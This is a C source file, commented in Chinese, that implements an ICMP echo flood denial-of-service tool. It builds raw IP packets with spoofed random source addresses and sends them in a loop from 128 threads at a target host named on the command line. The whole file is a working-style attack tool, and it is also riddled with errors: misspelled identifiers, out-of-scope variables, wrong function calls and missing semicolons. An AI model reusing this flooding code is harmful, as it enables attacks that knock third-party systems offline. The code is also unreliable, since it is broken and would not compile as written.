#include<t_stdio.h>
#include<t_file.h>
#include<ctype.h>
#include<unistd.h>
#include<signal.h>
#include<sys/time.h>
#include<fcntl.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netdb.h>
#include<stdlib.h>
#include<time.h>

#define maxchild 128 //最多线程数
static unsigned long dest //目的ip地址
static int port_icmp //icmp协议的值
static int alive = -1; //程序活动标志

//生成随机值
static inline long my random (int begin , int end){
    int gap = end - begin +1 , ret = 0;
    //初始化时间
    srand((unsigned)time(0));
    ret = random()%gap + begin ; 
    return ret;
}


void sig_process(int signo){//信号处理函数
    printf("catch a exit signal..\n");
    _exit(0);
}


//icmp头部打包函数
static void DoS_icmp(void){
    struct sockaddr_in to; 
    struct ip * iph; //ip头部结构
    struct icmp * icmph; //icmp头部结构
    char * packet ; //数据包大小
    
    int pktsize = sizeof( struct ip) + sizeof (struct icmp) + 64;
    packet = malloc (pktsize);
    iph = (struct ip *) packet;
    icmph = (struct icmp *) (packet + sizeof (struct ip));
    memset(packet , 0 , pktsize);

    iph->ip_v =4;//ip版本
    iph->ip_hl=5;//ip头部长度
    iph->ip_tos=0;//服务类型
    iph->ip_len = htons(pktsize) ; //ip报文总长度
    iph->ip_id = htons(getppid()); //标识设置为pid
    iph->ip_off = 0;
    iph->ip_ttl = 0x0;
    iph->ip_p = port_icmp;
    iph->ip_sum = 0;
    iph->ip_src = (unsigned long ) myrandom(0,65535);
    iph->ip_dst = dest;

    icmp->icmp_type =  ICMP_ECHO;//回显请求
    icmp->icmp_code =0;
    icmp->icmp_sum = htons(~(ICMP_ECHO<<8));
    to.sin_family = AF_INET;
    to.sin_addr.s_addr = iph->ip_dst;
    to.sin_port = htons(0);
    sendto(rawsock , packet , pktsize , 0,(struct sockaddr *) &to , sizeof(struct sockaddr));
    free(packet);

}

static void DoS_fun(unsigned long ip){
    while(alive){
        DoS_icmp();
    }

}

int main(int rgc , char * argv[]){
    struct hostent * host = NULL; //主机信息
    struct protoent * protocol = NULL;
    char protonmae[] = "icmp";
    int i = 0;
    pthread_t pthread[maxchild];//线程组
    int err = -1;

    alive = 1;
    signal(SIGINT ,sig_porcess);
    if(argc < 2){
        return -1;
    }
    protocol = getprotobyname(protonmae);
    if(protocol ==NULL) E_MSG("getprotobyname" ,-1);
    port_icmp = protocol->p_proto;
    dest = inet_addr(argv[1]);
    if(dest == INADDR_NONE){

        host = getprotobyname(argv[1]);
        memcpy((char *)&dest , host->h_addr.s_addr , host->h_length);
    }

    int rawsock = socket(AF_INET ,SOCK_RAW , RAW);
    if(rawsoc<0) rawsock = socket(AF_INET ,SOCK_RAW , PROTO_ICMP);
    
    setsockopt(rawsock , SOL_IP , IP_HDRINCL , "1" , sizeof("1"));

    for(int i =0; i<maxchild ; i++){
        err = pthread_create(&pthread[i] , NULL, DoS_fun ,NULL);

    }
    
    for(int i =0; i<maxchild ; i++){
       pthread_join(pthread[i],NULL);
    }
    close(rawsock);
    return 0;
}